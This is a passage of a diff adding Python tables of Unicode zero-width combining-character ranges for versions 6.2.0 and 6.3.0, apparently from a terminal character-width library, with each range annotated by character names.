Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bab,), # Sundanese Sign Virama ..Sundanese Sign Virama + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01dc0, 0x01de6,), # Combining Dotted Grave A..Combining Latin Small Le + (0x01dfc, 0x01dff,), # Combining Double Inverte..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69f, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c4,), # Saurashtra Sign Virama ..Saurashtra Sign Virama + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe26,), # Combining Ligature Left ..Combining Conjoining Mac + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x11080, 0x11081,), # Kaithi Sign Candrabindu ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '6.2.0': ( + # Source: DerivedGeneralCategory-6.2.0.txt + # Date: 2012-05-20, 00:42:34 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008e4, 0x008fe,), # Arabic Curly Fatha ..Arabic Damma With Dot + (0x00900, 0x00902,), # Devanagari Sign Inverted..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bab,), # Sundanese Sign Virama ..Sundanese Sign Virama + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01dc0, 0x01de6,), # Combining Dotted Grave A..Combining Latin Small Le + (0x01dfc, 0x01dff,), # Combining Double Inverte..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69f, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c4,), # Saurashtra Sign Virama ..Saurashtra Sign Virama + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe26,), # Combining Ligature Left ..Combining Conjoining Mac + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x11080, 0x11081,), # Kaithi Sign Candrabindu ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '6.3.0': ( + # Source: DerivedGeneralCategory-6.3.0.txt + # Date: 2013-07-05, 14:08:45 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + 